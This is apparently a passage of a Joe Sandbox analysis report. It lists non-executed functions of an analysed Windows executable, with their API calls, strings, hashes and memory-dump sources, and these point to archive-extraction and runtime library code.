Opcode ID: eb933d606148bbcc3883eda0085dd1764cf6f6eac1b145d4cdf478a6b762b933
Instruction ID: 360c38275f720c6787ea53db728b2db451158412d22036ee3974c86c66eaca7f
Opcode Fuzzy Hash: eb933d606148bbcc3883eda0085dd1764cf6f6eac1b145d4cdf478a6b762b933
Instruction Fuzzy Hash: 34F0E270186B444FDB309B24E748792B3E89B11736F048B1FD0EA43AD1D375A84ACB10

Non-executed Functions

Function 001EA537 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 289timewindowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 001D12E7: GetDlgItem.USER32(00000000,00003021), ref: 001D132B
Part of subcall function 001D12E7: SetWindowTextW.USER32(00000000,002002E4), ref: 001D1341

SendDlgItemMessageW.USER32(?,00000066,00000171,00000000,00000000), ref: 001EA5C8
EndDialog.USER32(?,00000006), ref: 001EA5DB
GetDlgItem.USER32(?,0000006C), ref: 001EA5F7
SetFocus.USER32(00000000), ref: 001EA5FE
SetDlgItemTextW.USER32(?,00000065,?), ref: 001EA63E
SendDlgItemMessageW.USER32(?,00000066,00000170,?,00000000), ref: 001EA671
FindFirstFileW.KERNEL32(?,?), ref: 001EA687
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 001EA6A5
FileTimeToSystemTime.KERNEL32(?,?), ref: 001EA6B5
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 001EA6D2
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 001EA6F0

Part of subcall function 001DD142: LoadStringW.USER32(?,?,00000200,?), ref: 001DD187
Part of subcall function 001DD142: LoadStringW.USER32(?,?,00000200,?), ref: 001DD19D

_swprintf.LIBCMT ref: 001EA720

Part of subcall function 001D3F5B: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 001D3F6E

SetDlgItemTextW.USER32(?,0000006A,?), ref: 001EA733
FindClose.KERNEL32(00000000), ref: 001EA736
_swprintf.LIBCMT ref: 001EA791
SetDlgItemTextW.USER32(?,00000068,?), ref: 001EA7A4
SendDlgItemMessageW.USER32(?,00000067,00000170,?,00000000), ref: 001EA7BA
FileTimeToLocalFileTime.KERNEL32(?,?,?), ref: 001EA7DA
FileTimeToSystemTime.KERNEL32(?,?), ref: 001EA7EA
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 001EA804
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 001EA81C
_swprintf.LIBCMT ref: 001EA84D
SetDlgItemTextW.USER32(?,0000006B,?), ref: 001EA860
_swprintf.LIBCMT ref: 001EA8B0
SetDlgItemTextW.USER32(?,00000069,?), ref: 001EA8C3

Part of subcall function 001E932F: GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 001E9355
Part of subcall function 001E932F: GetNumberFormatW.KERNEL32(00000400,00000000,?,0020A154,?,?), ref: 001E93A4

Strings

%s %s %s, xrefs: 001EA70E, 001EA83A
REPLACEFILEDLG, xrefs: 001EA55E
%s %s, xrefs: 001EA77F, 001EA8A2

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: ItemTime$File$Text$Format$_swprintf$MessageSend$DateFindLoadLocalStringSystem$CloseDialogFirstFocusInfoLocaleNumberWindow__vswprintf_c_l
String ID: %s %s$%s %s %s$REPLACEFILEDLG
API String ID: 3227067027-1840816070
Opcode ID: 163eb7977555f685bd8760b51f54b489671f573237a16ff35808fd7ffb15d710
Instruction ID: f8a78977323f9bd932780acaa8bac2850eb142aae90a17797329b83cf4dc76a1
Opcode Fuzzy Hash: 163eb7977555f685bd8760b51f54b489671f573237a16ff35808fd7ffb15d710
Instruction Fuzzy Hash: 0B918072648348BBE231DBA1DC89FFF77ACEF4A700F444819B649D6181D771AA058B63

Function 001D7070 Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 001D7075
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000001,00000080,00000000,?,00000001), ref: 001D71D5
CloseHandle.KERNEL32(00000000), ref: 001D71E5

Part of subcall function 001D7A9D: GetCurrentProcess.KERNEL32(00000020,?), ref: 001D7AAC
Part of subcall function 001D7A9D: GetLastError.KERNEL32 ref: 001D7AF2
Part of subcall function 001D7A9D: CloseHandle.KERNEL32(?), ref: 001D7B01

CreateDirectoryW.KERNEL32(?,00000000,?,00000001), ref: 001D71F0
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000003,02200000,00000000), ref: 001D72FE
DeviceIoControl.KERNEL32(00000000,000900A4,?,-00000008,00000000,00000000,?,00000000), ref: 001D732A
CloseHandle.KERNEL32(?), ref: 001D733C
GetLastError.KERNEL32(00000015,00000000,?), ref: 001D734C
RemoveDirectoryW.KERNEL32(?), ref: 001D7398
DeleteFileW.KERNEL32(?), ref: 001D73C0

Strings

SeRestorePrivilege, xrefs: 001D7096
\??\, xrefs: 001D70FB
SeCreateSymbolicLinkPrivilege, xrefs: 001D70A0
UNC\, xrefs: 001D7120

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: CloseCreateFileHandle$DirectoryErrorLast$ControlCurrentDeleteDeviceH_prologProcessRemove
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 3935142422-3508440684
Opcode ID: dffb911d25c43d721d5c3b21d7a396571821c66b1882c237cc3bf3fb688563ce
Instruction ID: 1663246d5dbc3e2b6f0edf4d56e8109fc902d1cb03ec3f949dd3fc64bd49fd8a
Opcode Fuzzy Hash: dffb911d25c43d721d5c3b21d7a396571821c66b1882c237cc3bf3fb688563ce
Instruction Fuzzy Hash: D2B1D271904258AFEF20DF64DC85BEE77B8BF18304F14456AF919E7282E730AA45CB61

Function 001D3203 Relevance: 12.9, APIs: 4, Strings: 3, Instructions: 604COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 001D320C
_memcmp.LIBVCRUNTIME ref: 001D32EF

Strings

h%u, xrefs: 001D35A1
hc%u, xrefs: 001D35EF
CMT, xrefs: 001D3904

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: H_prolog_memcmp
String ID: CMT$h%u$hc%u
API String ID: 3004599000-3282847064
Opcode ID: 6a8275605f2968805f20fe5f7ab957a4480d180d57e990922847bb868f5ed92d
Instruction ID: 0e1998026fb4464d5063bdee88ec5001af85c90bef13fdc7451a0eed4131f972
Opcode Fuzzy Hash: 6a8275605f2968805f20fe5f7ab957a4480d180d57e990922847bb868f5ed92d
Instruction Fuzzy Hash: A832C2715102849FDF18DF64C896AEA37A5AF24304F04457FFD9ACB382DB70AA48CB61

Function 001FA35E Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 001FA4A4

Strings

1#SNAN, xrefs: 001FB6A3
1#QNAN, xrefs: 001FB6AA
1#INF, xrefs: 001FB6B1
1#IND, xrefs: 001FB69C

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: cb44c88a11981049e749c98a02343774b0f1f633e1aab7a8959d7193a260514c
Instruction ID: 705901d993c834be32abd018e53df93f6ec581ec3c2cbc9dd4d9742bc1899b1d
Opcode Fuzzy Hash: cb44c88a11981049e749c98a02343774b0f1f633e1aab7a8959d7193a260514c
Instruction Fuzzy Hash: 6EC228B1E086288BDB25CE28DD807E9B7B5EF44305F5541EAD60EE7241E778AE818F41

Function 001D276C Relevance: 7.8, APIs: 3, Strings: 1, Instructions: 793COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 001D2775
_strlen.LIBCMT ref: 001D2CFF
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 001D2E56

Strings

CMT, xrefs: 001D2E89

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: H_prologUnothrow_t@std@@@__ehfuncinfo$??2@_strlen
String ID: CMT
API String ID: 3741668355-2756464174
Opcode ID: 21bdf78a6b8e439121e854fbf5951da37de7c706d0ced2a15f9b7bab1e965e7d
Instruction ID: 9612c6eec59c7d25af452428b28bb0a826707f98bd009c8c95c214b0841a8307
Opcode Fuzzy Hash: 21bdf78a6b8e439121e854fbf5951da37de7c706d0ced2a15f9b7bab1e965e7d
Instruction Fuzzy Hash: 2062E2719002858FDF19DF78C8856EA3BE1AF65300F05457FECAA8B382D771A949CB60

Function 001F5B53 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 001F5C4B
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 001F5C55
UnhandledExceptionFilter.KERNEL32(-00000311,?,?,?,?,?,00000000), ref: 001F5C62

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 5da745b6ba6c8d80373617d8b9507a3ae990e2170beb6326695ee7aff83021cc
Instruction ID: e8c58a42500edac05005ceefa36a545eac6a12cfed634f37850b5b30656139c4
Opcode Fuzzy Hash: 5da745b6ba6c8d80373617d8b9507a3ae990e2170beb6326695ee7aff83021cc
Instruction Fuzzy Hash: F931B37490132C9BCB21DF69E98979DBBB8BF18310F5041DAE50CA7251EB709B818F85

Function 001F9EB0 Relevance: 3.5, APIs: 2, Instructions: 464COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: adb73a532f26a33538fd5fb2ed24ee19948087a43571b45bda065bffbee46b1a
Instruction ID: 310dc2c303f48ad1bffa57749b2a44fab783fea4e96a69f11886a7360be43380
Opcode Fuzzy Hash: adb73a532f26a33538fd5fb2ed24ee19948087a43571b45bda065bffbee46b1a
Instruction Fuzzy Hash: 12025DB1E002199FDF14CFA9D8906ADBBF1FF88314F65816AE919E7340D735AE418B81

Function 001E932F Relevance: 3.0, APIs: 2, Instructions: 46COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 001E9355
GetNumberFormatW.KERNEL32(00000400,00000000,?,0020A154,?,?), ref: 001E93A4

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: FormatInfoLocaleNumber
String ID:
API String ID: 2169056816-0
Opcode ID: 326a1e626f5aa80a0ae0b5463fc7b4041bfc5f308314404437fa4ff3d1b3bce6
Instruction ID: 24b2ad783be5531e38797f3ffde882b454a24b61ffc3d198e4340bd19b1c8bf4
Opcode Fuzzy Hash: 326a1e626f5aa80a0ae0b5463fc7b4041bfc5f308314404437fa4ff3d1b3bce6
Instruction Fuzzy Hash: B0015E35101349BADB208FA4EC49FABB7BCEF09710F405422BA09D72A1D7749965CBA6

Function 001FE8D4 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,001FE8CF,?,?,00000008,?,?,001FE56F,00000000), ref: 001FEB01

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 87909d53263b1e63cc393f9e7b2c09f02ec74e78bcb2c50ce4f21dd4c14fb5b8
Instruction ID: 5c979f4df9d5ab25f57e0ede395185b4a786232fc4cfe5c66de19bdf67833a4f
Opcode Fuzzy Hash: 87909d53263b1e63cc393f9e7b2c09f02ec74e78bcb2c50ce4f21dd4c14fb5b8
Instruction Fuzzy Hash: 95B13A31210608DFD719CF28C48AB657BE1FF45365F298658EA9ACF2B1C375E992CB40

Function 001D3FC5 Relevance: 1.6, Strings: 1, Instructions: 332COMMON

Download Yara Rule

Strings

gj, xrefs: 001D4008

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID:
String ID: gj
API String ID: 0-4203073231
Opcode ID: a16bbea659f7ced0989ebcc2b4958986c41cea1c296907d0bf4334802f25ba28
Instruction ID: b16e058deb46612b28a8c2435e1af1e082c7adc0ca501b64e78ff2dc5811f384
Opcode Fuzzy Hash: a16bbea659f7ced0989ebcc2b4958986c41cea1c296907d0bf4334802f25ba28
Instruction Fuzzy Hash: 29F1C1B2A083418FD748CF29D880A1AFBF1BFC8208F19896EF598D7711D734E9558B56

Function 001DA8E0 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(?), ref: 001DA905

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 1a9694e39de2acba396de79d809a644ce6bedb6d4a4131427696f5fa7240dfa1
Instruction ID: be78897b4c08ce91c4d24cfd9d98fd71edf6ac4613134cb6711e61623fa69ef4
Opcode Fuzzy Hash: 1a9694e39de2acba396de79d809a644ce6bedb6d4a4131427696f5fa7240dfa1
Instruction Fuzzy Hash: 4DF06DB090030C8BCB2CCF18FC9A6E877B5EB49318F614295D91553391D3709D818F52

Function 001EDBC3 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0001DBCF,001ED604), ref: 001EDBC8

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 8a5b0d586b273496783378e5e3b391d47bc20523fa24dd88c2cb0692f05f95f6
Instruction ID: f6d72b74bfd014f21e8efc587fcb4aa6b86039ab858dbb2f58cee81cb1374cd2
Opcode Fuzzy Hash: 8a5b0d586b273496783378e5e3b391d47bc20523fa24dd88c2cb0692f05f95f6
Instruction Fuzzy Hash:

Function 001DDBE2 Relevance: 1.4, Strings: 1, Instructions: 154COMMON

Download Yara Rule

Strings

8 , xrefs: 001DDC64

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID:
String ID: 8
API String ID: 0-2103974948
Opcode ID: 92b171e22a1137d1c2100d0bedae1904c5be6d5a9055ae9573384cfc2ed56ebb
Instruction ID: 0ff8742d9b0f7f37e1ebf68b5b5d8e6f549805ef634887b30c83da86b9472a78
Opcode Fuzzy Hash: 92b171e22a1137d1c2100d0bedae1904c5be6d5a9055ae9573384cfc2ed56ebb
Instruction Fuzzy Hash: F951D0315083954EDB16CF39918046EBFE2AEAA314F4A489FE4D54B353C231E68ACB52

Function 001F8AAA Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 001F8AAA

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 7d20edf55fb599d654a1df7dc23f9c8cf2374319c4eaf8b342265c21c857890a
Instruction ID: d0f1ac5dafd3e7f10cfd7d5b02e946437eed47675bdaeff82a43ac3ee70caa1d
Opcode Fuzzy Hash: 7d20edf55fb599d654a1df7dc23f9c8cf2374319c4eaf8b342265c21c857890a
Instruction Fuzzy Hash: CDA012301012009BA3208F317A0D3083694660539070450585408C1120D73040004700

Function 001E4FB5 Relevance: .8, Instructions: 800COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f76edbdb3f4a612c21f71557bb68a806c2ac5dff8f8e7f0331655fa6002ea0a3
Instruction ID: bd2af63803ae468a582ed690d52365a6c6b5dbf34c11fdfb9f5c9d07c0574692
Opcode Fuzzy Hash: f76edbdb3f4a612c21f71557bb68a806c2ac5dff8f8e7f0331655fa6002ea0a3
Instruction Fuzzy Hash: 6762F871604FC59FCB29CF39C8906BDBBE2AF55308F08855EE99A4B346D734A945CB10

Function 001E63F2 Relevance: .8, Instructions: 773COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90a98d7e6f2e54dcba7a323e5310e852aff7c38bf50c3d5cf95a57ea582718e0
Instruction ID: a901e99e0f28b12cb15c04a20dacb4aaa802ad0370404a78f379d6465878f188
Opcode Fuzzy Hash: 90a98d7e6f2e54dcba7a323e5310e852aff7c38bf50c3d5cf95a57ea582718e0
Instruction Fuzzy Hash: 83620170604B8A9FC719CF29C8905BDFBE0BF65308F54866ED9A68B742D730E955CB80

Function 001DE045 Relevance: .7, Instructions: 694COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c11df8756d099823b9e38222dbb77727418297263203a366b416988efb5d9dfb
Instruction ID: 4d7c469e3ea63a66caaae57b9ee814c866d7ba052fac480817f099bdb16d5aae
Opcode Fuzzy Hash: c11df8756d099823b9e38222dbb77727418297263203a366b416988efb5d9dfb
Instruction Fuzzy Hash: 905238B26047019FC758CF19C891A6AF7E1FFC8304F89892DF5969B355D334E9198B82

Function 001E5DB9 Relevance: .5, Instructions: 509COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de2898868135c5b025b1ed3270d27161b3cb610d009b2a8a68fd0152be51fe94
